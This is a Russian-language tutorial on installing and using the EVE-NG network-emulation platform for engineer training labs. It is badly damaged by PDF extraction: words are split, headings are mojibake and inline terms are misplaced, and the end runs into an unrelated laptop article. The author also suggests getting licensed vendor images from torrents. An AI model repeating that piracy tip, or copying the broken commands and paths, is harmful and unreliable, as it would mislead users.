дру гой вир туал ки) может пло хо вли ять на про изво дитель ность. Так же твой
ЦПУ дол жен под держи вать тех нологии аппа рат ной вир туали зации, такие
как Intel VT-x и AMD-V. Не забудь про верить, вклю чены ли они в BIOS.

Ин терес но, что про под дер жку AMD в Community-вер сии офи циаль но
не сооб щает ся, а вот в докумен тации к Professional про изво дите ли уже
написа ли, что под держи вают пос ледние вер сии про цес соров. Как бы то
ни было, я раз вернул Community-вер сию на про цес соре AMD Ryzen 5 4600H
без каких-либо проб лем.

Ес ли ты исполь зуешь в качес тве хос товой ОС Windows, тебе сле дует пом- 
нить кое-что о роли Hyper-V, в час тнос ти в Windows 10. Вот что об этом
написа но на сай те :Microsoft

«

»

We introduced a number of features that utilize the Windows Hypervisior.

These include security enhancements like Windows Defender Credential

Guard, Windows Defender Application Guard, and Virtualization Based

Security as well as developer features like Windows Containers and WSL 2.

По мимо самой ОС и ее фич, эту служ бу может исполь зовать еще и Docker
Desktop. Из-за это го до вер сии 15.5 вклю читель но VMware Workstation (как
и VirtualBox) вооб ще не работа ла на хос те с вклю чен ной ролью Hyper-V. Кол- 
лабора ция Microsoft и VMware поз волила все же сде лать интегра цию
Workstation с WHP через API, бла года ря чему появи лось .
Но, к сожале нию, помимо того, что такая связ ка ста ла мед ленней работать,
име ется , а имен но — фун кции Intel VT-x / AMD-V недос- 
тупны для гос тевых ВМ. Служ ба Hyper-V , огра- 
ничи вая к нему дос туп дру гим гипер визорам.

ра бочее решение

глав ное огра ниче ние
экс клю зив но исполь зует VT-x

По это му, если на тво ем хос те вклю чена роль Hyper-V, про ана лизи руй,
для чего она исполь зует ся, и при воз можнос ти отклю чи ее. Если это невоз- 
можно, исполь зуй дру гой ПК, сер вер или обла ко.

Я рекомен дую кач нуть сра зу  в фор мате PDF. В ней
содер жится исчерпы вающее руководс тво по все му про екту, от А до Я.

кни гу рецеп тов EVE-NG

Итак, для быс тро го раз верты вания мы  с OVF-обра зом,
рас паку ем архив и двой ным щел чком мыши по  импорти- 
руем его в Workstation.

ска чаем ZIP-архив
EVE-COMM-VM.ovf

Им порт OVF

От кро ем свой ства, добавим при необ ходимос ти памяти и про цес соров. Убе- 
дись, что у тебя сто ит галоч ка 
в груп пе нас тро ек . Без нее EVE-NG будет заг- 
ружать ся сама, мож но откры вать и соз давать лабора тории, но ВМ внут ри
лабора тории запус кать ся не будут.

Virtualize Intel VT-x/EPT or AMD-V/RVI
Virtualization engine

Свой ства ВМ

Для наг ляднос ти мы выберем режим  у сетево го адап тера, тем
самым наши ВМ внут ри лабора тории ста нут дос тупны нап рямую в локаль ной
сети.

Bridged

Продолжение статьи →
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ÐÀÁÎÒÀ Ñ ÏËÀÒÔÎÐÌÎÉ

За пус каем EVE-VM в Workstation. Пос ле успешной заг рузки ты получишь приг- 
лашение на ввод пароля.

Приг лашение на ввод пароля

Ло гиним ся, исполь зуя стан дар тную учет ку  для кон соли.root/eve
Да лее отве чаем на стан дар тные воп росы по нас трой ке ОС, такие как:
New root password;•
Hostname;•
DNS domain name;•
DHCP/Static IP address;•
NTP Server;•
Proxy Server conguration.•

Пос ле отве та на пос ледний воп рос сис тема авто мати чес ки перезаг рузит ся.
По завер шении перезаг рузки откры ваем веб-интерфейс по IP-адре су, ука- 
зан ному в кон соли ВМ, и логиним ся, исполь зуя учет ку .admin/eve

Кон соли управле ния

По боль шей час ти вся работа с плат формой выпол няет ся через
веб-интерфейс. По SSH под клю чать ся к «Еве» при ходит ся лишь изредка, нап- 
ример для под готов ки обра зов. Сущес тву ет два вари анта под клю чения
к монито ру ВМ: через натив ные при ложе ния или кон соль HTML5. При выборе
натив ной кон соли на ПК, с которо го открыт веб-интерфейс, дол жны быть
уста нов лены при ложе ния для уда лен ного дос тупа и Wireshark. Набор соф та
раз нится в зависи мос ти от ОС, а так же тре бует ся некото рый тюнинг реес тра,
поэто му рекомен дует ся исполь зовать 

, содер жащий все необ ходимое, вклю чая скрип ты для кон- 
фигура ции.

Windows/Linux/Apple Client Side
Integration Pack

При исполь зовании же кон соли HTML5 все управле ние ведет ся пол ностью
через бра узер. Кон соль работа ет на , как во мно гих сов- 
ремен ных вен дорных лабора тори ях.

Apache Guacamole

Пос ле логина мы попада ем в некий фай ловый менед жер, где у нас хра нят- 
ся фай лы лабора торий. Сна чала я покажу тебе готовую кор поратив ную
лабора торию, а потом мы соз дадим для при мера свою. Отме чу лишь, что
для луч шего визу аль ного отоб ражения мно гие соеди нения на этой схе ме
были изме нены или вов се уда лены.

От крыть лабора торию

По сво ей сути файл лабора тории — это кон фиг в фор мате XML, опи сыва- 
ющий кон фигура цию нод, их рас положе ние на поле, соеди нения и про чее.
Ноды — это объ екты ВМ, которые могут быть обра зами IOL/Dynamips/QEMU.
Лабы мож но кло ниро вать, экспор тировать и импорти ровать пря мо через
веб-интерфейс.

Кон фиг лабора тории

При откры тии лабора тории демонс три рует ся вид тополо гии, чем-то похожий
на Visio. На этой тополо гии добав ляют ся и соеди няют ся меж ду собой ноды.
Сле ва в меню находит ся все, что необ ходимо для работы, ноды мож но запус- 
кать сра зу все, а мож но выбороч но.

Вид тополо гии

В отли чие от Visio, при щел чке по знач ку откры вает ся уда лен ное под клю чение
к ноде.

Мо нитор Windows 10

Мо нитор Kali Linux

Каж дая нода име ет свои стан дар тные нас трой ки ВМ, такие как образ,
с которо го выпол няет ся заг рузка, количес тво CPU, RAM, Ethernet-пор тов,
аргу мен ты для гипер визора и дру гое.

Нас трой ки ноды

Нас трой ки ноды, про дол жение

ÑÅÒÈ

В «Еве» два глав ных вида сетей: мост и интерфейс управле ния. В основном
тебе при дет ся щел кать мышью на нодах и выбирать пор ты источни ка и наз- 
начения. Это как раз одна из при чин, по которым сетеви кам так нра вит ся
«Ева»: в ESXi, нап ример, для «чис тых» соеди нений point-to-point тре бует ся
соз давать отдель ный vSwitch и порт-груп пу, что отни мает кучу вре мени и сил.

Со еди нение нод

Сеть в режиме мос та дей ству ет как неуп равля емый ком мутатор. Она под- 
держи вает переда чу помечен ных пакетов . Это может быть необ- 
ходимо, ког да нам нуж но соеди нить мно жес тво узлов в плос кую (dot1q) сеть
без исполь зования обра за сетево го устрой ства. Получит ся пол ностью изо- 
лиро ван ная вир туаль ная сеть.

dot1q

Сеть в режиме мос та

Вто рой вари ант сети называ ется «сеть управле ния» с име нами 
. Этот интерфейс нас тро ен в режиме мос та с пер вым сетевым адап- 

тером сер вера. Бла года ря это му ты можешь сде лать ноды дос тупны ми нап- 
рямую по сети, они будут находить ся в том же сетевом сег менте, что
и интерфейс управле ния, и могут вза имо дей ство вать с дру гими внеш ними
сетями.

Cloud0/
Pnet0

Сеть управле ния

Ос таль ные интерфей сы  мож но свя зать со вто рым и выше пор том
Ethernet для под клю чения к дру гой сети или к устрой ству. Нас тра ивать на них
IP-адрес не тре бует ся. Они будут дей ство вать как чис тый мост меж ду тво им
внеш ним соеди нени ем и лабора тор ной нодой.

Cloud*

Продолжение статьи →
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ÎÁÐÀÇÛ

«Ева» пос тавля ется без обра зов, на бор ту име ется толь ко Virtual PC
с базовой сетевой фун кци ональ ностью.

Вир туаль ный ПК

Спи сок под держи ваемых обра зов  не всег да акту аль ный, об этом
нап рямую говорит ся в докумен тации. Из-за лицен зион ных огра ниче ний авто- 
ры про екта не могут вык ладывать у себя на сай те пря мые ссыл ки на обра зы,
но на прак тике любой образ мож но най ти на тор рентах. А если ты работа ешь
в интегра торе, так это вооб ще не проб лема.

на сай те

Îáðàçû Dynamips/IOL

С обра зами сетевых устрой ств Dynamips/IOL поч ти ничего делать не нуж но,
кро ме  и . К сожале- 
нию, . Их кон фиги
хра нят ся в отдель ном мес те, в меню  и в NVRAM, а не
в самом фай ле обра за. NVRAM исполь зует ся как пос тоян ное хра нили ще
с воз можностью записи для началь ной кон фигура ции. В про цес се заг рузки
нода всег да будет про верять NVRAM на наличие сох ранен ной кон фигура ции.

вы ясне ния зна чения IDLE PC соз дания фай ла лицен зии
не все фун кции этих сетевых устрой ств под держи вают ся

startup-configs

Заг рузоч ные кон фиги

Про цесс заг рузки таких обра зов изоб ражен на сле дующей схе ме и в целом
понятен без допол нитель ных пояс нений.

По рядок заг рузки кон фигов

Îáðàçû QEMU/KVM

Все осталь ные сис темы будут работать в виде QEMU-обра зов. Осо бен ность
работы этих обра зов в «Еве» зак люча ется в том, что сна чала соз дает ся некий
базовый образ, а при запус ке и работе ВМ все изме нения пишут ся в отдель- 
ный файл. Это мож но рас ценивать как сво его рода снап шоты, при вязан ные
к отдель ным поль зовате лям.

Та кой механизм очень удо бен при груп повом обу чении, ког да нес коль ко
инже неров дела ют парал лель но одну лабора тор ную работу: изме нение нас- 
тро ек в обра зе у одно го поль зовате ля никак не вли яет на осталь ных. Если
образ стал нерабо тос пособ ным вследс твие неп равиль ных нас тро ек и на
поиск проб лемы нет вре мени, мож но нажать кноп ку Wipe (Wipe all nodes),
и образ в лабора тории у кон крет ного поль зовате ля вер нется к сос тоянию
базово го.

По мимо про чего, такая схе ма так же реша ет проб лему лицен зирова ния —
нуж на толь ко одна лицен зия. Парамет ры, к которым при вязы вают ся лицен- 
зии, не меня ются, как это про исхо дит, нап ример, при кло ниро вании в ESXi.

Круп ные вен доры обыч но пре дос тавля ют нес коль ко вари антов обра зов
сво их ВМ: VMware, KVM, Hyper-V. Но если готово го обра за нет, его мож но
соз дать или скон верти ровать из име юще гося.

Êîíâåðòàöèÿ îáðàçà

Для кон верта ции обра за необ ходимо исполь зовать кон соль ную ути литу
, уже уста нов ленную в «Еве». Толь ко имей в виду, что  

 раз ных вер сий, поэто му исполь зуй пол ный
путь, как ука зано в докумен тации.

qemu-img qemu-img
и  —/opt/qemu/bin/qemu-img

Нап ример, эта коман да кон верти рует образ VMware в образ QEMU:

$ /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image.vmdk image.
qcow2 

Ос таль ные фор маты и аргу мен ты для кон верта ции смот ри в таб лице:

Ôîð ìàò îáðà çà Àð ãóìåíò

QCOW2 (KVM, Xen) qcow2

QED (KVM) qed

raw raw

VDI (VirtualBox) vdi

VHD (Hyper-V) vpc

VMDK (VMware) vmdk

Ñîçäàíèå ñâîåãî îáðàçà

При соз дании сво его обра за сле дует руководс тво вать ся 
, так как сис тема к ним чувс тви тель на.

пра вила ми име- 
нова ния папок и обра зов дис ка

Кор невая дирек тория для обра зов — .
В качес тве при мера рас смот рим соз дание сво его обра за на базе дис три- 
бути ва Kali Linux. Для это го ска чаем уста новоч ный образ 

.

/opt/unetlab/addons/qemu/

kali-linux-2021.
2-installer-netinst-amd64.iso
1. Соз дай дирек торию на сер вере «Евы»:

$ mkdir /opt/unetlab/addons/qemu/linux-kali/ 

2. Пе рене си уста новоч ный образ 
 на сер вер «Евы» в пап ку 

.

kali-linux-2021.2-installer-netinst-
amd64.iso /opt/unetlab/addons/qemu/linux-
kali/

3. Пе реиме нуй уста новоч ный образ в :cdrom.iso

$ mv kali-linux-2021.2-installer-netinst-amd64.iso cdrom.iso 

4. На ходясь в той же пап ке, соз дай новый файл дис ка HDD. В при мере ука- 
зан раз мер 30 Гбайт — ты можешь задать любой:

$ /opt/qemu/bin/qemu-img create -f qcow2 virtioa.qcow2 30G 

5. Соз дай или открой лабора торию через веб-интерфейс, добавь новую
ноду, под клю чив ее к сети, если необ ходимо наличие интерне та для уста- 
нов ки.

6. За пус ти ноду, открой ее и про дол жай про цесс уста нов ки как обыч но.
7. Пос ле завер шения уста нов ки перезаг рузись и вык лючи ноду изнутри стан- 

дар тны ми средс тва ми ОС, пос ле чего уда ли файл .cdrom.iso

Ес ли ты пос мотришь на раз мер фай ла 
, то уви дишь, что он не изме нил ся и остался пус тым.

/opt/unetlab/addons/qemu/linux-
kali/virtioa.qcow2

Раз мер базово го обра за

Это про изош ло потому, что все изме нения в про цес се работы ноды записы- 
вают ся в отдель ный файл по пути .
Если ты сде лал изме нения внут ри ноды, уста новил софт или залил фай лы
и хочешь эти изме нения внес ти в базовый образ, то сде лать это мож но спо- 
собом, опи сан ным ниже.

/opt/unetlab/tmp/PodID/UUID/NodeID

Âíåñåíèå èçìåíåíèé â áàçîâûé îáðàç

1. Вык лючи ноду изнутри стан дар тны ми средс тва ми ОС, в веб-интерфей се
«Евы» щел кни пра вой кноп кой мыши на ноде. В круг лых скоб ках ты уви- 
дишь чис ло. Это Node ID, запиши его — в нашем при мере это 2.

ID ноды

2. Сле ва в меню открой пункт  и запиши ID, в этом при мере —
.

Lab Details
6393e2df-501f-405c-b602-2e9a080f72f1

ID лабора тории

3. Зак рой лабу и перей ди в . Най ди сво его
поль зовате ля и запиши его зна чение POD. У адми на это зна чение
по умол чанию 0.

Management/User Management

4. Пе рей ди по пути , под ста вив свои
зна чения:

/opt/unetlab/tmp/PodID/UUID/NodeID

$ cd /opt/unetlab/tmp/0/6393e2df-501f-405c-b602-2e9a080f72f1/2/ 

Как видишь, файл дис ка с изме нени ями в этой пап ке занима ет 3,1 Гбайт.

Раз мер вре мен ного обра за

5. Вы пол ни коман ду, ука зав имя фай ла дис ка:

$ /opt/qemu/bin/qemu-img commit virtioa.qcow2 

Ес ли все прош ло успешно, ты получишь сооб щение . Про- 
верив фай лы, ты смо жешь убе дить ся, что изме нения из вре мен ной пап ки
пере еха ли в базовый образ.

Image comitted

Об раз пере ехал

Те перь при вклю чении ноды linux-kali любым из поль зовате лей будет заг- 
ружать ся файл базово го обра за дис ка. Это была инс трук ция из офи циаль ной
докумен тации, но на прак тике ее исполь зование вызыва ло проб лемы,
которые я опи шу далее.

Продолжение статьи →
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ÑÎÇÄÀÅÌ ÑÂÎÞ ËÀÁÎÐÀÒÎÐÈÞ

А теперь для зак репле ния матери ала мы с тобой соз дадим свою
мини-лабора торию, исполь зуя получен ные зна ния.

Прос тая лабора тория

На ша лабора тория будет вклю чать в себя сле дующие ком понен ты.
Ñå òè:

mgmt — для дос тупа к Windows-ноде из «нас тоящей» сети;•
bridge — для орга низа ции сети L2 меж ду тре мя нодами.•

Îá ðàçû:

linux-kali;•
win-10-x86-20H2v4;•
c3725-adventerprisek9-mz.124-15.T14.•

Це ли соз дания лабора тории — демонс тра ция:
за пус ка раз ных ОС (Windows/Linux/IOS);•
па рал лель ной работы раз ных эму лято ров (Dynamips и QEMU);•
прос тоты «проб роса» ноды в «нас тоящую» сеть;•
прос тоты соз дания соеди нений point-to-point;•
пос тро ения сети L2 через объ ект «сеть» и через эму ляцию.•

Ну что, пог нали? Откры ваем веб-интерфейс, соз даем новую лабора торию
с помощью меню фай лового менед жера, запол няем необ ходимые дан ные.

Соз даем лабора торию

Щел каем пра вой кла вишей мыши по рабочей области и выбира ем 
 — .

Add a new
object Network

До бав ляем объ ект «сеть»

До бав ляем сеть в режиме мос та, .Type — bridge

Сеть в режиме мос та

Ана логич но добав ляем сеть, но уже в режиме интерфей са управле ния 
.

Type —
Management(Cloud0)

Сеть в режиме управле ния

Да лее мы будем добав лять ноды ана логич ным путем, как и сети, но вмес то
объ екта  выбира ем .network node

До бав ление ноды

Ты можешь начать писать наз вание вен дора и сузить вывод резуль татов.
Но я бы рекомен довал скрыть в спис ке обра зы, которых у тебя нет в сис теме.
Сде лать это мож но сле дующим обра зом:
1. Под клю чись к «Еве» через SSH и перей ди в пап ку 

.
/opt/unetlab/html/

includes/
2. Пе реиме нуй  в :config.php.distributed config.php

mv config.php.distribution config.php 

3. При необ ходимос ти отре дак тируй файл :config.php

<?php
// TEMPLATE MODE .missing or .hided

 DEFINE('TEMPLATE_DISABLED','.hided') ;
?>

Те перь при добав лении ноды ты будешь видеть толь ко те обра зы, которые
есть в тво ей сис теме.

До бав ление ноды из име ющих ся обра зов

До бавим роутер Cisco IOS 3725 (Dynamips) и в его пер вый слот помес тим
модуль NM-16ESW. Этот модуль слу жит для реали зации прин ципов ком- 
мутации на мар шру тиза торе.

До бав ление мар шру тиза тора Cisco с модулем ком мутации

Те перь добавим Windows, Kali и VPCS с той лишь раз ницей, что у Windows-
ноды будет три сетевых пор та.

До бав ление Windows-ноды с тре мя сетевы ми пор тами

Со еди няем ноды сог ласно тополо гии. Для это го наведи кур сор на ноду,
появит ся малень кая икон ка «сетевой вил ки». Нажав ее и перемес тив кур сор
на дру гую ноду, мы соеди ним их вир туаль ным патч-кор дом. В Community-вер- 
сии есть огра ниче ние: соеди няемые ноды дол жны быть пред варитель но вык- 
лючены, так называ емый hot plug не работа ет.

Со еди нение нод

За пус тим сра зу все наши ноды, перей дя в меню сле ва и выб рав More actions
→ Start all nodes.

За пуск всех нод одновре мен но

Клик ни на икон ке роуте ра, и у тебя откро ется его кон соль. Нам необ ходима
лишь фун кци ональ ность ком мутато ра, поэто му мы не будем его нас тра ивать,
а на воп рос «Would you like to enter the initial conguration dialog? [yes/no]:»
отве тим . Роутер заг рузит ся.no

Заг рузка роуте ра Cisco

Те перь давай откро ем нашу Windows-сис тему и нас тро им сетевые интерфей- 
сы:

 — это твоя локаль ная сеть, адрес будет наз начать ся по DHCP;• e0
 — изо лиро ван ная под сеть, 172.16.1.1/24, шлюз и DNS-сер вер не ука- 

зыва ем;
• e1

 — изо лиро ван ная под сеть, 10.0.0.1/24, шлюз и DNS-сер вер не ука- 
зыва ем.

• e2

Нас трой ка сетевых интерфей сов в Windows

Как видишь, на интерфей се  наз начен адрес по DHCP и он из «нас тоящей»
сети. Теперь любые устрой ства в тво ей локаль ной сети могут общать ся с дан- 
ной нодой.

e0

Про верим это, под клю чив шись со смар тфо на по RDP к нашей ноде.

RDP со смар тфо на

Те перь клик нем по икон ке VPC1 и перей дем в кон соль управле ния. Нас тро им
адрес коман дой , а затем пин ганем нашу Windows-сис тему
коман дой . Для допол нитель ной про вер ки выведем ARP-
таб лицу коман дой .

ip 172.16.1.2
ping 172.16.1.1

arp

Про вер ка сетевой дос тупнос ти с узла VPC1

Как видишь, связь меж ду Virtual PC и Windows-сис темой в изо лиро ван ной
сети при сутс тву ет, MAC-адрес сов пада ет.

Те перь откро ем Kali и про дела ем ана логич ные дей ствия: нас тро им сеть
и про верим сетевую дос тупность узла, но уже с помощью ска ниро вания пор- 
та  при помощи Nmap.3389

Ска ниро вание пор тов Windows с Kali

Порт открыт, и име ется под робная информа ция о хос те. Про верять сетевую
связ ность с VPC2 и VPC3 мы не ста нем, они нам нуж ны лишь для мас совки,
что бы показать, как мож но добить ся пос тро ения сети L2 (в которой боль ше
двух узлов), исполь зуя объ ект  и эму ляцию сетево го обо рудо вания.network

Продолжение статьи →
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ÏÐÎÁËÅÌÛ, ÐÅØÅÍÈß, ÏÎËÅÇÍÛÅ ÊÎÌÀÍÄÛ

Îøèáêè ïðè commit: Co-routine re-entered recursively Aborted

Мож но выпол нить коман ду нес коль ко раз, пос ле чего про верить на ошиб ки
соз данный образ, либо исполь зовать аргу мент  вмес то .convert commit

Cèíèé ýêðàí è îøèáêè äèñêîâ â îáðàçàõ Windows

Сог ласно инс трук ции из офи циаль ной докумен тации, для встра ива ния изме- 
нений в базовый образ необ ходимо исполь зовать аргу мент . Но на
прак тике получа лось так, что, если уже имел ся рабочий образ с Windows
и при ком мите не воз никало оши бок, так или ина че диск внут ри ВМ кра шил ся,
были падения с синим экра ном, а при ска ниро вании стан дар тны ми средс тва- 
ми ОС ( ) выяв лялись мно жес твен ные ошиб ки. Решени ем слу- 
жит кон верта ция в новый образ, а не ком мит в базовый. Перед этим необ- 
ходимо перей ти в каталог со вре мен ным обра зом и выпол нить сле дующую
коман ду:

commit

sfc /scannow

$ /opt/qemu/bin/qemu-img convert -O qcow2 virtioa.qcow2 /path/
virtioa.qcow2.new 

Пос ле чего сле дует пере име новать новый образ в базовый.

Îøèáêà «failed to start node (12)» ïðè âêëþ÷åíèè íîäû dynamips

(ñåòåâîå îáîðóäîâàíèå)

Эта ошиб ка воз ника ет в веб-интерфей се при вклю чении ноды. По фак ту нода
вклю чает ся и работа ет, но не меня ется ее ста тус в веб-интерфей се. Мож но
про дол жить работу, а мож но при нуди тель но убить такие про цес сы и переза- 
пус тить их заново. Для это го мож но исполь зовать сле дующие коман ды.
1. Ко ман да отоб ражения всех про цес сов проб лемной ноды , где

циф ра в  — POD поль зовате ля:
dynamips

vunl0

 $ ps waux | grep vunl0 | grep "nodename"

2. Ко ман да завер шения про цес сов, где  и так
далее — номера про цес сов:

1314, 1315, 1316, 1317

 $ kill -9 1314 1315 1316 1317 

Îòñóòñòâèå ïîääåðæêè ïëàòôîðìû QEMU è ïðî÷èå îøèáêè ïðè

çàãðóçêå îáðàçà

С такой проб лемой мы стол кну лись в про цес се раз верты вания McAfee DLP
Prevent и Monitor. Образ при заг рузке запус кает скрипт, который опре деля ет
сре ду с помощью  и пар сит вывод. Мы можем изме нять информа- 
цию в DMI-таб лицах на QEMU-сис темах x86_64 и aarch64. С помощью QEMU-
опции  в нас трой ках ноды мож но изме нять мно жес тво сис темных
парамет ров, от про изво дите ля биоса до серий ного номера шас си. Те поля,
которые чаще дру гих при ходи лось менять, смот ри в таб лице ниже, а с пол ным
спис ком можешь озна комить ся на .

dmidecode

smbios

GitHub

 <-smbios type= type>,field=value[,...]
 -smbios type=0,vendor=VMware,version=1.2.3 

Òèï Ïî ëå SMBIOS Íàç âàíèå

0 vendor BIOS vendor

1 manufacturer Manufacturer

1 product_name Product name

Для быс тро го решения мож но переб рать нес коль ко зна чений из сле дующей
таб лицы.

Âåí äîð BIOS Çíà ÷åíèå

vmware VMware

xen <Xen>

qemu QEMU BIOS или Bochs

ms hyper-v Microsoft Corporation Virtual Machine

Ес ли же это не помог ло, необ ходимо най ти скрипт, который опре деля ет плат- 
форму. Сде лать это мож но, поис кав с помощью коман ды  текст ошиб ки
по всем фай лам внут ри ISO. Иног да вен дор дела ет свой initrd, внут ри которо- 
го находит ся нуж ный скрипт, его мож но рас паковать с помощью 7-Zip.

grep

Пос ле это го в скрип те нуж но най ти фун кцию опре деле ния плат формы,
нап ример вызов , пар синг вывода и необ ходимые парамет ры,
которые могут быть как кон крет ными зна чени ями, так и регуляр ными выраже- 
ниями. Ну а даль ше прос то под ставь эти зна чения в опцию . Если
в зна чении встре чает ся запятая, то нуж но исполь зовать .

dmidecode

smbios
,,

Вто рой проб лемой было исполь зование дис ков в фор мате PVSCSI. Такие
дис ки по умол чанию не под держи вают ся, но это лег ко пра вит ся в фай ле 

. При мер но на 1000-й строч ке
идет блок кода, добав ляющий дис ки:

/
opt/unetlab/html/includes/__node.php

// Adding disks
    

 
foreach(scandir('/opt/unetlab/addons/qemu/'.$this -> getImage()) as
$filename) {

    if ($filename == 'cdrom.iso') {
// CDROM

    $flags .= ' -cdrom /opt/unetlab/addons/qemu/'.$this -> getImage().'/
cdrom.iso';
     } else if (preg_match('/^megasas[a-z]+.qcow2$/', $filename)) {

...

В этот блок необ ходимо было добавить новое усло вие с регуляр кой
по PVSCSI и кор рек тны ми опци ями:

   else if (preg_match('/^pvscsi[a-z]+.qcow2$/', $filename))

Про цес сор тоже мож но менять, для это го исполь зует ся опция . Спи сок
дос тупных зна чений мож но пос мотреть с помощью сле дующей коман ды:

cpu

 $ qemu-system-x86-64 -cpu help

В боль шинс тве слу чаев мож но исполь зовать в ВМ про цес сор сер вера
с помощью дирек тивы .-cpu host

Ïîëåçíûå êîìàíäû

Ин форма ция об обра зе:

$ /opt/qemu/bin/qemu-img info virtioa.qcow2 

Про вер ка на ошиб ки в обра зе:

$ /opt/qemu/bin/qemu-img check virtioa.qcow2 

По чинить образ:

$ /opt/qemu/bin/qemu-img check -r all virtioa.qcow2 

А еще обра зы мож но сжи мать в раз мере, но тут надо най ти баланс. Сжа тый
образ занима ет мень ше мес та, но тре бует боль ше ресур сов CPU, чем нес- 
жатый:

$ virt-sparsify -compress virtioa.qcow2 compressedvirtioa.qcow2 

Со вре менем обра зы дис ков могут занимать боль ше мес та, чем по фак ту
исполь зует ся внут ри ВМ. Это про исхо дит потому, что уда лен ные дан ные лишь
помеча ются таковы ми, но по фак ту не уда ляют ся. Для борь бы с этим явле- 
нием уже при дума но .ре шение

Все осталь ные стан дар тные проб лемы и пути их решений смот ри в 
или , опуб ликован ной на офи циаль ном сай те «Евы».

FAQ
до кумен тации

ÇÀÏÓÑÊ ÑÅÐÂÈÑÍÎÉ ÂÌ

Пред положим, тебе пот ребу ется на том же сер вере «Евы» кру тить ВМ, но без
вклю чения какой-либо лабы. Такие вир туал ки обыч но соз дают ся в сер висных
целях, нап ример в качес тве VPN-сер вера для уда лен ного под клю чения
к «Еве».

В дан ной инс трук ции я покажу, как это сде лать.
1. Под готовь образ вир туал ки, можешь сде лать это пря мо в лабе.
2. Ско пируй готовый образ в новую пап ку, нап ример в ./opt/svm/*
3. Соз дай файл служ бы, исполь зуя путь 

. Заметь, что имя вида  даст воз можность запус- 
кать нес коль ко ВМ через одну служ бу:

/etc/systemd/system/qemu@.
service qemu@.service

[Unit]
Description=QEMU Service VM

[Service]
Environment="haltcmd=kill -INT $MAINPID"
EnvironmentFile=/etc/conf.d/qemu.d/%i
ExecStart=/opt/qemu-2.12.0/bin/qemu-system-x86_64 -name %i $args
ExecStop=/usr/bin/bash -c ${haltcmd}
ExecStop=/usr/bin/bash -c 'while nc localhost 7100; do sleep 1; 
done'
ExecStop=/bin/sh -c "echo system_powerdown | nc -U /run/qemu/
%I-mon.sock"

[Install]
WantedBy=multi-user.target

4. Те перь необ ходимо соз дать новый сетевой интерфейс для ВМ и добавить
его в мост, что бы ВМ была дос тупна нап рямую. Для начала про верь, есть
ли у тебя уже какие-то интерфей сы tap:

tap $ ip a | grep 

Соз дай новый интерфейс , если такого еще нет:tap1

 $ tunctl -t tap1 -u `whoami`

До бавь новый интерфейс  к мос ту :tap1 pnet0

$ brctl addif pnet0 tap1 

Вы веди таб лицу мос тов и интерфей сов и пос мотри спи сок интерфей сов,
которые вхо дят в мост :pnet0

$ brctl show 

Вклю чи новый интерфейс:

ip $ link set dev tap1 up 

5. Соз дай файл по пути , опи сыва ющий ВМ:/etc/conf.d/qemu.d/svm

=args "-device e1000,netdev=net0,mac=50:00:00:22:22:22 -netdev tap,
id=net0,ifname=tap1,script=no -smp 1 -m 2048 -drive file=/opt/svm/
virtioa.qcow2,if=virtio,bus=0,unit=0,cache=none -machine type=pc,
accel=kvm -cpu qemu64,+fsgsbase -vga std -usbdevice tablet 
-monitor telnet:localhost:7100,server,nowait,nodelay -vnc :0"

=haltcmd "echo 'system_powerdown' | nc localhost 7100"

6. Вы пол ни коман ду

$ systemctl daemon-reload 

7. Те перь вир туал ку мож но запус кать, оста нав ливать и добав лять в авто заг- 
рузку, исполь зуя стан дар тный :systemctl

$ systemctl enable qemu@svm 
$ systemctl start qemu@svm 
$ systemctl status qemu@svm 
$ systemctl stop qemu@svm 

Ес ли пот ребу ется сде лать еще одну ВМ, пов тори шаги 4 и 5, кор ректи руя
соот ветс тву ющие зна чения.

INFO

 могут раз нить- 
ся в зависи мос ти от ОС, но самые важ ные,
которые необ ходимо при вес ти в соот ветс твие, —
сле дующие:

Оп ции и зна чения нас тро ек QEMU

 — уни каль ный MAC-адрес сетевой кар ты
ВМ; обра ти вни мание, что пер вая полови на
дол жна иметь зна чение ;

•mac

50:00:00
 — соз данный в шаге 4 интерфейс;•ifname

 — количес тво ядер;•smp
 — количес тво памяти;•m

 — путь к обра зу.•drive file

ÄÎÊÓÌÅÍÒÈÐÎÂÀÍÈÅ

Для того что бы свя зан ные с полиго ном про цес сы были понят ны и управля- 
емы, с самого начала велась докумен тация. Наибо лее важ на докумен тация,
каса ющаяся обра зов, она вклю чает в себя сле дующие пун кты:

спи сок всех обра зов и их кон фигура ции;•
кон фигура ция ОС;•
спи сок исполь зуемо го соф та;•
спи сок ISO-обра зов.•

Спи сок обра зов и их кон фигура ций

Кон фигура ция ОС

По мимо это го, ведет ся внут ренняя база зна ний по выяв ленным проб лемам
и спо собам их решений, часть из которых была опи сана выше. Допол нитель- 
но для некото рых вен дорных решений были соз даны кас томные лабора тории
и гай ды по раз верты ванию и нас трой ке в сти ле hands-on fasttrack для внут- 
ренне го исполь зования.

ÈÒÎÃÈ

С помощью плат формы EVE-NG нам опре делен но уда лось дос тичь наших
целей. Сей час обу чение инже неров про исхо дит гораз до эффектив нее,
дизайн всех лабора торий — модуль ный, откры вай готовую и меняй лишь вен- 
доров. Рань ше было проб лематич ным пре дос тавлять дос туп к решени ям
для таких кли ентов, которые любят поэк спе римен тировать с вир туал ками
самос тоятель но. Теперь же дос туп мож но давать без опа сений, гиб кость
веб-интерфей са откры вает воз можность кли ентам самос тоятель но про- 
верять любой сце нарий в готовой инфраструк туре.

https://gist.github.com/smoser/290f74c256c89cb3f3bd434a27b9f64c
https://pve.proxmox.com/wiki/Shrink_Qcow2_Disk_Files
https://www.eve-ng.net/index.php/faq/
https://www.eve-ng.net/index.php/documentation/
https://www.qemu.org/docs/master/system/invocation.html
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GEEK

Есть вещи, которые меня ют при выч ный нам мир: iPhone,
перевер нувший пред став ление о том, каким дол жен быть
телефон; Tesla, пересоз давшая авто мобиль с нуля; Go Pro,
открыв шая челове чес тву совер шенно новый вид кон тента.
Модуль ный ноут бук Framework, конеч но, не смо жет нас толь- 
ко гло баль но сдви нуть мир, но пошат нуть усто явший ся
рынок ноут буков он впол не спо собен.

Сов ремен ный рынок ноут буков мало похож на тот, каким он был еще десять
лет назад. Даже брен ды, ког да-то сла вив шиеся мак сималь но надеж ными
и ремон топри год ными моделя ми, теперь кле пают бес конеч ные кло ны мак- 
буков с впа янной опе ратив ной памятью, вкле енной батаре ей, широким
и неудоб ным для работы экра ном.

И если сре ди «пол нофор матных» ноут буков еще мож но най ти хоть что-то,
что соз дали инже неры ста рой шко лы, то сре ди моделей с 13,5-дюй мовым
